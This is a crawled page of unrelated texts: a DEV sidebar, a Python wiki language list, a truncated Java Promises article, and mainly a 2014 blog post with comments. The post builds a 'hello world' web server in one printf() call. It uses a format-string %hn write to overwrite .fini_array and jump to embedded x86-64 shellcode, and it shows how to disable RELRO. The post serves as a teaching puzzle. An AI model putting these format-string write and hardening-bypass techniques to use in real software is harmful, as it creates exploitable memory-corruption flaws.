& v1.8.1 Release Notes Nse569h Nse569h Nse569h Follow Jan 12 DS Express Errors (centralizing errors library) — v1.8.0 & v1.8.1 Release Notes # node # express # backend # dsexpresserrors 1 reaction Comments Add Comment 2 min read LINE Bot Developer Guide: Important Notes for Receiving Requests via Webhook URL Evan Lin Evan Lin Evan Lin Follow Jan 11 LINE Bot Developer Guide: Important Notes for Receiving Requests via Webhook URL # api # backend # tutorial Comments Add Comment 10 min read I Added a Cache and the System Got Slower: The Hidden Cost of Caching yusuf yonturk yusuf yonturk yusuf yonturk Follow Jan 11 I Added a Cache and the System Got Slower: The Hidden Cost of Caching # programming # performance # backend # redis 1 reaction Comments Add Comment 3 min read What Backend Developers Should Know About Passkeys (WWDC22) Evan Lin Evan Lin Evan Lin Follow Jan 11 What Backend Developers Should Know About Passkeys (WWDC22) # learning # security # backend # go Comments Add Comment 4 min read [Golang] Fixing "undefined: sql.NullTime" Errors with go-pg on Heroku Evan Lin Evan Lin Evan Lin Follow Jan 11 [Golang] Fixing "undefined: sql.NullTime" Errors with go-pg on Heroku # learning # postgres # backend # go Comments Add Comment 2 min read [Golang] Research and Implementation: Replacing a PTT Data Crawler with the Firecrawl API Evan Lin Evan Lin Evan Lin Follow Jan 11 [Golang] Research and Implementation: Replacing a PTT Data Crawler with the Firecrawl API # data # backend # go # api Comments Add Comment 6 min read Database Design Best Practice: Store Categorical Data as IDs, Not Strings Faizan Firdousi Faizan Firdousi Faizan Firdousi Follow Jan 11 Database Design Best Practice: Store Categorical Data as IDs, Not Strings # database # backend # sql # architecture Comments Add Comment 2 min read loading... trending guides/resources Join the Xano AI-Powered Backend Challenge: $3,000 in Prizes! A Metamorfose da Plataforma Java: Uma Análise Exaustiva da Evolução Arquitetural, Funcional e Ope... Deadlocks in Go: The Silent Production Killer Princípios do Clean Code Compreendendo 'this' no JavaScript Proxy e Reflect no JavaScript Backend Showdown: Picking the Perfect Tech for Your Mobile App The Developer's Safety Net - Introduction to TypeScript FastAPI vs Spring Boot: A Comprehensive Comparison Vertical Slice Architecture in .NET — From N‑Tier Layers to Feature Slices Spring ShedLock AutoMapper vs Mapster — Deep Technical Analysis, Hidden Costs, and Expert-Level Guidance for .NET... Stop Doing Business Logic in Webhook Endpoints. I Don't Care What Your Lead Engineer Says. 1M+ Req/s Heavy-Read API in Go. Production Lessons Learned Cron Jobs vs Real Task Schedulers: A Love Story Building Node.js CLI Tool. Building a Production-Ready Webhook Delivery System in 5 Minutes From Repetitive Code to Clean Architecture: How the Decorator Pattern Simplified Activity Logging... Efficient S3 File Uploads: Speed & Large File Handling in NestJS FastAPI Setup Guide for 2025: Requirements, Structure & Deployment 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV DEV Community — A space to discuss and keep up software development and manage your software career Home DEV++ Podcasts Videos DEV Education Tracks DEV Challenges DEV Help Advertise on DEV DEV Showcase About Contact Free Postgres Database Software comparisons Forem Shop Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. Made with love and Ruby on Rails . DEV Community © 2016 - 2026. We're a place where coders share, stay up-to-date and grow their careers. Log in Create account | 2026-01-13T08:48:55 |
https://tinyhack.com/2014/03/12/implementing-a-web-server-in-a-single-printf-call/#respond | Implementing a web server in a single printf() call – Tinyhack.com --> Skip to content Tinyhack.com A hacker does for love what others would not do for money. Implementing a web server in a single printf() call A guy just forwarded a joke that most of us will already know Jeff Dean Facts (also here and here ). Everytime I read that list, this part stands out: Jeff Dean once implemented a web server in a single printf() call. Other engineers added thousands of lines of explanatory comments but still don’t understand exactly how it works. Today that program is the front-end to Google Search. It is really possible to implement a web server using a single printf call, but I haven’t found anyone doing it. So this time after reading the list, I decided to implement it. So here is the code, a pure single printf call, without any extra variables or macros (don’t worry, I will explain how to this code works) #include <stdio.h> int main(int argc, char *argv[]) { printf("%*c%hn%*c%hn" "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3", ((((unsigned long int)0x4005c8 + 12) >> 16) & 0xffff), 0, 0x00000000006007D8 + 2, (((unsigned long int)0x4005c8 + 12) & 0xffff)- ((((unsigned long int)0x4005c8 + 12) >> 16) & 0xffff), 0, 0x00000000006007D8 ); } This code only works on a Linux AMD64 bit system, with a particular compiler (gcc version 4.8.2 (Debian 4.8.2-16) ) And to compile it: gcc -g web1.c -O webserver As some of you may have guessed: I cheated by using a special format string . That code may not run on your machine because I have hardcoded two addresses. The following version is a little bit more user friendly (easier to change), but you are still going to need to change 2 values: FUNCTION_ADDR and DESTADDR which I will explain later: #include <stdio.h> #include <stdlib.h> #include <stdint.h> #define FUNCTION_ADDR ((uint64_t)0x4005c8 + 12) #define DESTADDR 0x00000000006007D8 #define a (FUNCTION_ADDR & 0xffff) #define b ((FUNCTION_ADDR >> 16) & 0xffff) int main(int argc, char *argv[]) { printf("%*c%hn%*c%hn" "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3" , b, 0, DESTADDR + 2, a-b, 0, DESTADDR ); } I will explain how the code works through a series of short C codes. The first one is a code that will explain how that we can start another code without function call. See this simple code: #include <stdlib.h> #include <stdio.h> #define ADDR 0x00000000600720 void hello() { printf("hello world\n"); } int main(int argc, char *argv[]) { (*((unsigned long int*)ADDR))= (unsigned long int)hello; } You can compile it, but it many not run on your system. You need to do these steps: 1. Compile the code: gcc run-finalizer.c -o run-finalizer 2. Examine the address of fini_array objdump -h -j .fini_array run-finalizer And find the VMA of it: run-finalizer: file format elf64-x86-64 Sections: Idx Name Size VMA LMA File off Algn 18 .fini_array 00000008 0000000000600720 0000000000600720 00000720 2**3 CONTENTS, ALLOC, LOAD, DATA Note that you need a recent GCC to do this, older version of gcc uses different mechanism of storing finalizers. 3. Change the value of ADDR on the code to the correct address 4. Compile the code again 5. Run it and now you will see “hello world” printed to your screen. How does this work exactly?: According to Chapter 11 of Linux Standard Base Core Specification 3.1 .fini_array This section holds an array of function pointers that contributes to a single termination array for the executable or shared object containing the section. We are overwriting the array so that our hello function is called instead of the default handler. If you are trying to compile the webserver code, the value of ADDR is obtained the same way (using objdump). Ok, now we know how to execute a function by overriding a certain address, we need to know how we can overwrite an address using printf . You can find many tutorials on how to exploit format string bugs, but I will try give a short explanation. The printf function has this feature that enables us to know how many characters has been printed using the “%n” format: #include <stdio.h> int main(){ int count; printf("AB%n", &count); printf("\n%d characters printed\n", count); } You will see that the output is: AB 2 characters printed Of course we can put any address to the count pointer to overwrite that address. But to overide an address with a large value we need to print a large amount of text. Fortunately there is another format string “%hn” that works on short instead of int. We can overwrite the value 2 bytes at a time to form the 4 byte value that we want. Lets try to use two printf calls to put a¡ value that we want (in this case the pointer to function “hello”) to the fini_array: #include <stdio.h> #include <stdlib.h> #include <stdint.h> #define FUNCTION_ADDR ((uint64_t)hello) #define DESTADDR 0x0000000000600948 void hello() { printf("\n\n\n\nhello world\n\n"); } int main(int argc, char *argv[]) { short a= FUNCTION_ADDR & 0xffff; short b = (FUNCTION_ADDR >> 16) & 0xffff; printf("a = %04x b = %04x\n", a, b) uint64_t *p = (uint64_t*)DESTADDR; printf("before: %08lx\n", *p); printf("%*c%hn", b, 0, DESTADDR + 2 ); printf("after1: %08lx\n", *p); printf("%*c%hn", a, 0, DESTADDR); printf("after2: %08lx\n", *p); return 0; } The important lines are: short a= FUNCTION_ADDR & 0xffff; short b = (FUNCTION_ADDR >> 16) & 0xffff; printf("%*c%hn", b, 0, DESTADDR + 2 ); printf("%*c%hn", a, 0, DESTADDR); The a and b are just halves of the function address, we can construct a string of length a and b to be given to printf, but I chose to use the “%*” formatting which will control the length of the output through parameter. For example, this code: printf("%*c", 10, 'A'); Will print 9 spaces followed by A, so in total, 10 characters will be printed. If we want to use just one printf, we need to take account that b bytes have been printed, and we need to print another b-a bytes (the counter is accumulative). printf("%*c%hn%*c%hn", b, 0, DESTADDR + 2, b-a, 0, DESTADDR ); Currently we are using the “hello” function to call, but we can call any function (or any address). I have written a shellcode that acts as a web server that just prints “Hello world”. This is the shell code that I made: unsigned char hello[] = "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3"; If we remove the function hello and insert that shell code, that code will be called. That code is just a string, so we can append it to the “%*c%hn%*c%hn” format string. This string is unnamed, so we will need to find the address after we compile it. To obtain the address, we need to compile the code, then disassemble it: objdump -d webserver 00000000004004fd <main>: 4004fd: 55 push %rbp 4004fe: 48 89 e5 mov %rsp,%rbp 400501: 48 83 ec 20 sub $0x20,%rsp 400505: 89 7d fc mov %edi,-0x4(%rbp) 400508: 48 89 75 f0 mov %rsi,-0x10(%rbp) 40050c: c7 04 24 d8 07 60 00 movl $0x6007d8,(%rsp) 400513: 41 b9 00 00 00 00 mov $0x0,%r9d 400519: 41 b8 94 05 00 00 mov $0x594,%r8d 40051f: b9 da 07 60 00 mov $0x6007da,%ecx 400524: ba 00 00 00 00 mov $0x0,%edx 400529: be 40 00 00 00 mov $0x40,%esi 40052e: bf c8 05 40 00 mov $0x4005c8,%edi 400533: b8 00 00 00 00 mov $0x0,%eax 400538: e8 a3 fe ff ff callq 4003e0 <printf@plt> 40053d: c9 leaveq 40053e: c3 retq 40053f: 90 nop We only need to care about this line: mov $0x4005c8,%edi That is the address that we need in: #define FUNCTION_ADDR ((uint64_t)0x4005c8 + 12) The +12 is needed because our shell code starts after the string “%*c%hn%*c%hn” which is 12 characters long. If you are curious about the shell code, it was created from the following C code. #include<stdio.h> #include<string.h> #include<stdlib.h> #include<unistd.h> #include<sys/types.h> #include<sys/stat.h> #include<sys/socket.h> #include<arpa/inet.h> #include<netdb.h> #include<signal.h> #include<fcntl.h> int main(int argc, char *argv[]) { int sockfd = socket(AF_INET, SOCK_STREAM, 0); struct sockaddr_in serv_addr; bzero((char *)&serv_addr, sizeof(serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = INADDR_ANY; serv_addr.sin_port = htons(8080); bind(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)); listen(sockfd, 5); while (1) { int cfd = accept(sockfd, 0, 0); char *s = "HTTP/1.0 200\r\nContent-type:text/html\r\n\r\n<h1>Hello world!</h1>"; if (fork()==0) { write(cfd, s, strlen(s)); shutdown(cfd, SHUT_RDWR); close(cfd); } } return 0; } I have done an extra effort (although it is not really necessary in this case) to remove all NUL character from the shell code (since I couldn’t find one for X86-64 in the Shellcodes database ). Jeff Dean once implemented a web server in a single printf() call. Other engineers added thousands of lines of explanatory comments but still don’t understand exactly how it works. Today that program is the front-end to Google Search . It is left as an exercise for the reader to scale the web server to able to handle Google search load. Source codes for this post is available at https://github.com/yohanes/printf-webserver For people who thinks that this is useless: yes it is useless. I just happen to like this challenge, and it has refreshed my memory and knowledge for the following topics: shell code writing (haven’t done this in years), AMD64 assembly (calling convention, preserved registers, etc), syscalls, objdump, fini_array (last time I checked, gcc still used .dtors), printf format exploiting, gdb tricks (like writing memory block to file), and low level socket code (I have been using boost’s for the past few years). Update : Ubuntu adds a security feature that provides a read-only relocation table area in the final ELF. To be able to run the examples in ubuntu, add this in the command line when compiling -Wl,-z,norelro e.g: gcc -Wl,-z,norelro test.c Author admin Posted on March 12, 2014 April 28, 2017 Categories hacks 18 thoughts on “Implementing a web server in a single printf() call” dodi says: March 12, 2014 at 2:04 pm eh buset, serius nih lu ? 🙂 Reply priyo says: March 13, 2014 at 5:07 am scroll up… scroll down… scroll up… scroll down… 100x *gagal paham* Reply terminalcommand says: March 13, 2014 at 5:19 am Thank you! Very interesting article. I also didn’t know about the one line webserver at google. Although this is a hard topic, you’ve made a great work simplifying it. Reply Basun says: March 13, 2014 at 10:02 am The one line webserver bit is a joke about Jeff Dean, who works at Google. Its not real. 🙂 Reply Cees Timmerman says: April 20, 2016 at 4:12 pm There are real webserver oneliners: https://gist.github.com/willurd/5720255 Reply anonim says: March 13, 2014 at 5:29 am Diskusinya di https://news.ycombinator.com/item?id=7389623 Reply Neil says: March 13, 2014 at 12:38 pm Shouldn’t there be an exit() somewhere in the fork==0 branch? Otherwise every time there is a request the new child process will become a server too and start accepting requests, right? I think the parent leaks its copy of the file descriptor too. Maybe the fork is a bit redundant. I don’t think the write or close will block with such a small amount of data. Cool post though! I’m not really sure why I’m nitpicking in the shell code. Sorry. Reply admin says: March 14, 2014 at 1:58 am Ah yes, there is an exit from the loop on the assembly code (myhttp.s) but it got removed from http.c when I removed the comment and debug code. And you are also right about the fork, it is unnecessary in this case. At first I was going to write the HTTP headers and then exec some external command. I changed my mind and didn’t bother deleting the fork call. Reply Kyle Ross says: March 13, 2014 at 11:02 pm This is really interesting, but I’m having trouble following whats actually happening. Could you explain how you reduced that C code with includes and methods into a string containing hex codes and how that is turned back into some sort of executable code? Thanks Reply admin says: March 14, 2014 at 2:01 am I think it is beyond the scope of this article to explain about shell code writing. There are many books and tutorials that you can read (just search for “buffer overflow” or “shell code writing”). Reply TTK Ciar says: March 14, 2014 at 1:05 am Alternatively: $ perl -Mojo -E ‘a({inline => “%= `uptime`”})->start’ daemon & Server available at http://127.0.0.1:3000 . $ lynx -dump -nolist http://127.0.0.1:3000/ 17:57:56 up 66 days, 6:45, 108 users, load average: 0.10, 0.12, 0.07 though, perl by definition is cheating. Reply Evan Danaher says: March 14, 2014 at 2:54 pm I’m not sure why you used finalizers instead of just changing the return address on the stack; this may be the first time I’ve ever said this, but stack smashing is much more portable. I’ve made a variant that I’d expect to work on any gcc 4.4-4.7 on x86_64 Linux, and have some ideas which, if they work out, may make it actually “portable” to any x86/x86_64 Unix running a reasonable compiler. https://github.com/edanaher/printf-webserver Reply admin says: March 17, 2014 at 3:02 pm Yes using the stack is also possible, but on most modern system, GCC is compiled with stack protection turned on (and needs to be disabled using -fno-stack-protector). Reply Pingback: Implementing a web server in a single printf() call « adafruit industries blog Itzik Kotler says: March 15, 2014 at 4:35 pm Pretty neat. I did something similar (all though simpler) back in the days. See: http://www.exploit-db.com/papers/13233/ Reply Pingback: Saving the world, one cpu cycle at a time | Dav's bit o the web programath says: April 22, 2014 at 1:18 pm printf(“%*c%hn%*c%hn”, b, 0, DESTADDR + 2, b-a, 0, DESTADDR ); ————————————————— i think the fourth parameter should be ‘a-b’, not ‘b-a’, because a == b + (a – b) Reply Pingback: New top story on Hacker News: Implementing a web server in a single printf call (2014) – Latest news Leave a Reply Cancel reply Your email address will not be published. Required fields are marked * Comment * Name * Email * Website Save my name, email, and website in this browser for the next time I comment. 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https://wiki.python.org/moin/Languages | Languages - Python Wiki Search: Languages Languages FrontPage RecentChanges FindPage HelpContents Languages Page Immutable Page Comments Info Attachments More Actions: Raw Text Print View Delete Cache ------------------------ Check Spelling Like Pages Local Site Map ------------------------ Rename Page Delete Page ------------------------ ------------------------ Remove Spam Revert to this revision ------------------------ SlideShow User Login Attempt to have languages and links listed in the native tongue of the user. 2009-09-01 This page's links go to the various languages' pages, most of which have been copied from the other set of language pages, with a few updates. Ideally, all the pages should be like the Polish or Turkish pages - all native language, only the necessary English. There are some ground rules, some are laid down by the site admins, some are my suggestions: Pages must be named in ASCII and English ( PolishLanguage ) Pages must have an explanation in English at the top (Links to Python information in <language X>) (my suggestion) We probably want to limit invites to edit the pages to people we know well, or Pythonistas with a track record. Hopefully, this is inclusive enough without opening the site up to a spam flood and vandalismfest. Where these pages really need help: check links, remove broken ones. add new links that are quality Python information and active. some care for languages that have next to nothing, but do have people in the Python community - even a link to the Wikipedia page for Python, in that language, is a start (Some are pretty complete and of high quality - the Russian language Wikipedia page for Python, for instance, packs a lot in). Languages AfrikaansLanguage Afrikaans AlbanianLanguage Shqip AmharicLanguage አማርኛ ArabicLanguage العربية ArmenianLanguage Հայերեն AssameseLanguage অসমীয়া AzerbaijaniLanguage Azərbaycan dili BelarusianLanguage Беларуская мова BengaliLanguage বাংলা BodoLanguage बड़ो BosnianLanguage bosanski BulgarianLanguage български език BurmeseLanguage မြန်မာဘာသာ CatalanLanguage català ChineseLanguage 中文 CroatianLanguage hrvatski CzechLanguage čeština DanishLanguage dansk DogriLanguage डोगरी Devanagari script DutchLanguage Nederlands EsperantoLanguage Esperanto EstonianLanguage eesti keel FinnishLanguage suomi FrenchLanguage français GeorgianLanguage ქართული ენა GermanLanguage Deutsch GreekLanguage Νέα Ελληνικά GujaratiLanguage ગુજરાતી HausaLanguage Hausa HebrewLanguage עִבְרִית HindiLanguage हिन्दी HungarianLanguage magyar nyelv IndonesianLanguage Bahasa Indonesia IcelandicLanguage íslenska IgboLanguage Asụsụ Igbo ItalianLanguage italiano JapaneseLanguage 日本語 KannadaLanguage ಕನ್ನಡ KashmiriLanguage कॉशुर (Koshur) KazakhLanguage Қазақ тілі KhmerLanguage ភាសាខ្មែរ KonkaniLanguage कोंकणी Devangari script KoreanLanguage 한국어/조선말 LaoLanguage ພາສາລາວ LatvianLanguage latviešu valoda LithuanianLanguage lietuvių kalba MalayLanguage Bahasa Melayu MalayalamLanguage മലയാളം MarathiLanguage मराठी MongolianLanguage Монгол хэл NepaliLanguage नेपाली NorwegianLanguage norsk OriyaLanguage ଓଡ଼ିଆ OromoLanguage Afaan Oromoo PersianLanguage فارسی PolishLanguage język polski PortugueseLanguage português PunjabiLanguage ਪੰਜਾਬੀ WesternPunjabiLanguage پنجابی RomanianLanguage limba română RussianLanguage русский язык SanskritLanguage संस्कृत SlovakLanguage slovenský jazyk SloveneLanguage slovenščina SerbianLanguage Српски SinhalaLanguage සිංහල SpanishLanguage español SwahiliLanguage Kiswahili SwedishLanguage svenska TagalogLanguage Wikang Tagalog TamilLanguage தமிழ TeluguLanguage తెలుగు ThaiLanguage ภาษาไทย TigrinyaLanguage ትግርኛ TurkishLanguage Türkçe UkranianLanguage украї́нська мо́ва UrduLanguage اُردوُ UzbekLanguage O‘zbek tili VietnameseLanguage tiếng Việt XhosaLanguage isiXhosa ZuluLanguage isiZulu CategoryLanguage CategoryUnicode Languages (last edited 2025-05-01 12:20:09 by MaciejOlko ) MoinMoin Powered Python Powered GPL licensed Valid HTML 4.01 Unable to edit the page? See the FrontPage for instructions. | 2026-01-13T08:48:55 |
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A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close Add reaction Like Unicorn Exploding Head Raised Hands Fire Jump to Comments Save Boost More... Copy link Copy link Copied to Clipboard Share to X Share to LinkedIn Share to Facebook Share to Mastodon Share Post via... Report Abuse Sergiy Yevtushenko Posted on Apr 12, 2025 • Edited on Dec 14, 2025 Asynchronous Processing in Java with Promises # java # promise Traditionally, asynchronous processing is considered complex and error-prone. There are several approaches to address this issue: The async/await language constructs focus on making asynchronous code look like synchronous code. Unfortunately, this approach never achieves the goal, and code remains complex and error-prone. Errors like accidental invocation of synchronous methods within asynchronous context are difficult to spot, while they easily can effectively kill scalability. Classic threading in various forms and shapes. Java with Executors or Virtual Threads, Go with goroutines, etc. The core idea remains the same: expose all internals and let users handle all this. Tools like Structured Concurrency make it somewhat bearable, but the approach remains complex to use and prone to various kinds of difficult-to-nail-down and fix errors like deadlocks and the like. The third approach is to build composable processing pipelines with Reactive Streams. Unfortunately, design decisions (namely the pull model and the artificial "everything is a stream" mental model) resulted in a convoluted API and several technical details leaking into user code (schedulers, subscribing, back pressure, etc.). This made Reactive Streams famous for being difficult to master and reason about, especially for non-trivial processing scenarios. The fourth approach is Promises with functional-style API. Unlike the approaches mentioned above, API remains straightforward, and code is easy to read and reason about. There are other advantages as well: very few technical details leaking into the user code and a simple mental model. Unlike Reactive Streams, Promises use a push processing model. Push vs Pull Processing Model These models define how processing pipeline receives messages for processing. In push model events are pushed into pipeline and pipeline eventually produces a result. In contrast, in pull model pipeline retrieves events from the external source using built-in scheduling mechanisms. As a consequence, pull model requires backpressure to balance external source of events and productivity of the pipeline. The Promise Monad So, what is Promise<T> in general? The Promise<T> is a representation of the computation, which eventually may succeed or fail. The promise has two main states - pending and resolved and, once resolved, two outcomes - success or failure. Promise<T> is one of three core monads which are used to represent special states . The resolution may happen only once and is thread safe - many threads may try to resolve Promise<T> , but only one value will be accepted. Application of the transformations provided via map() and flatMap() methods (as well as few others, see below for more details) is postponed until the Promise<T> instance is resolved. From this point of view, resolution serves as a synchronization point. As mentioned above, Promise<T> API has two main transformation methods, map() and flatMap() . The map() transforms value if Promise<T> is resolved to success . The map() does not change the outcome; success remains success , and failure remains failure . The flatMap() may change the outcome if the transformation function passed to flatMap() returns failure . Just like Optional<T> , transformations are applied to Promise<T> in the order they are written in the code. This mental model is easy to understand and adopt, resulting in good ergonomics. Besides transformations, there are methods to attach side effects , i.e., actions that are submitted to execution either at the moment of Promise<T> resolution or (if Promise<T> is already resolved) immediately. The execution of each side effect happens asynchronously and independently of the other side effects or transformations. The core side effect method is onResult() , which asynchronously executes the provided Consumer<Result<T>> instance once Promise<T> is resolved. Since dealing with whole Result<T> is often inconvenient and verbose, there are other helper methods: onSuccess() , onFailure() , onResultRun() , onSuccessRun() and onFailureRun() which cover various use cases. The resolution of Promise<T> can be awaited.This is rarely necessary in the production code but extremely useful for testing. So, let's take a look at what the functional style Promises API looks like. Important Coding Style Notice It is highly recommended to use Single Level of Abstraction principle, while writing code which uses Promise<T> and functional style code in general. Consistent application of this principle keeps code easy to write and reason about. Use of complex lambdas quickly results in tangled, hard to read and maintain code. Basic Examples Create an unresolved promise: var promise = Promise .< String > promise (); Enter fullscreen mode Exit fullscreen mode Create immediately or eventually resolved promise: // Create an already resolved Promise with a value var successPromise = Promise . success ( "Success value" ); // Create an already failed Promise var failedPromise = Promise .< String > failure ( new CoreError . Fault ( "Operations failed" )); // Alternative (recommended) approach for creating failed Promise var anotherFailedPromise = new CoreError . Fault ( "Operation failed" ). promise (); // Create a Promise that resolves after a delay var delayedPromise = Promise .< String > promise ( timeSpan ( 2 ). seconds (), promise -> promise . succeed ( "Delayed result" )); // Asynchronously resolve Promise with result of synchronous operation var anotherPromise = Promise . promise (() -> Result . success ( "Synchronous result" )); Enter fullscreen mode Exit fullscreen mode Other core monads ( Option<T> and Result<T> ) can be transformed into Promise<T> : // Use default cause (CoreError.emptyOption()) if Option is empty var fromOption1 = Option . option ( "Some value" ). async (); // Use specific cause if Option is empty var fromOption2 = Option . option ( "Some value" ). async ( Causes . cause ( "Another cause" )); // Retrieve the Promise from provided supplier for the empty Option var fromOption3 = Option . option ( "Some other value" ). async (() -> Promise . promise ()); // Convert Result into resolved Promise var fromResult1 = Result . success ( "Some value" ). async (); Enter fullscreen mode Exit fullscreen mode All such conversions produce an already resolved Promise instance except the last conversion from Option<T> . It will produce a resolved Promise<T> instance for present Option<T> , but the state of the Promise<T> created by the provided supplier depends on the particular supplier implementation. Transform Promise<T> into Result<T> (see note above about waiting Promise<T> for resolution): var promise = ...; // Wait indefinitely for Promise resolution var result = promise . await (); // Wait for resolution for 10 seconds and if Promise is still not resolved // return failure Result with CoreError.Timeout() as a cause. var result = promise . await ( TimeSpan . timeSpan ( 10 ). seconds ()); Enter fullscreen mode Exit fullscreen mode Launch asynchronous operation: // General purpose asynchronous invocation method. // Returns Promise<Unit> which is resolved when passed lambda finishes execution. var unitPromise = Promise . async (() -> doSomethingAsynchronously ()); // Run lambda and eventually resolve Promise with the returned Result. var promise1 = Promise . promise (() -> Result . success ( "Some value" )); // Run lambda and do whatever necessary with the provided Promise instance var promise2 = Promise . promise ( promise -> promise . succeed ( "Some value" )); // Execute passed lambda after specified delay var promise3 = Promise . promise ( TimeSpan . timeSpan ( 5 ). seconds (), promise -> promise . succeed ( 123 )); // Same, but Result returned by supplier is used to resolve the Promise var promise4 = Promise . promise ( TimeSpan . timeSpan ( 5 ). seconds (), () -> Result . success ( "Some value" )); Enter fullscreen mode Exit fullscreen mode Separate category of asynchronous invocations: ones created for interfacing with imperative code: // Use library method to convert exception into Cause instance var promise1 = Promise . lift ( Causes: : fromThrowable , () -> throwingMethodReturningValue ()); // Use library method to handle exceptions. This time no value is expected // and Promise<Unit> is returned. var promise2 = Promise . lift ( Causes: : fromThrowable , () -> throwingMethod ()); // Fixed cause var promise3 = Promise . lift ( Causes . cause ( "Call failed" ), () -> throwingMethodReturningValue ()); var promise4 = Promise . lift ( Causes . cause ( "This one failed too" ), () -> throwingMethod ()); Enter fullscreen mode Exit fullscreen mode These methods enable convenient asynchronous invocation of the existing code. Note thatsince thee Promise<T> implementation is based on virtual threads, such calls are handled by JVM and can be efficiently scaled, especially if they perform network I/O. Launching independent actions upon resolution (aka side effects ): promise . onSuccess ( System . out :: println ) // Print value in case of success . onFailure ( System . err :: println ) // Print cause of the error . onResult ( System . out :: println ) // Print result upon resolution . onSuccessRun (() -> System . out . println ( "Side effect on success" )) // Run action in case of success . onFailureRun (() -> System . err . println ( "Side effect on failure" )) // Run action in case of failure . onResultRun (() -> System . err . println ( "Side effect upon resolution" )); // Run action once instance is resolved Enter fullscreen mode Exit fullscreen mode The side effects are useful for performing operations whose outcome is irrelevant for the processing pipeline's success or failure. Asynchronous execution of side effects means that they can't block or otherwise impact the main processing pipeline. Asynchronous Patterns Below are described typical asynchronous processing patterns that can be efficiently implemented with Promise<T> . Sequencer This is nothing else than the asynchronous equivalent of synchronous execution. Each operation starts when the previous one is finished. The main advantage of the Promise<T> in this scenario is that the thread is not blocked when operations are executed. Instead, Promise<T> just sits in memory until resolution at each step and immediately launches the next operation and releases the thread. Such behavior makes the asynchronous processing pipeline extremely scalable. Another advantage - when the system reaches saturation (i.e., incoming requests coming as fast as the system is physically capable of processing them due to 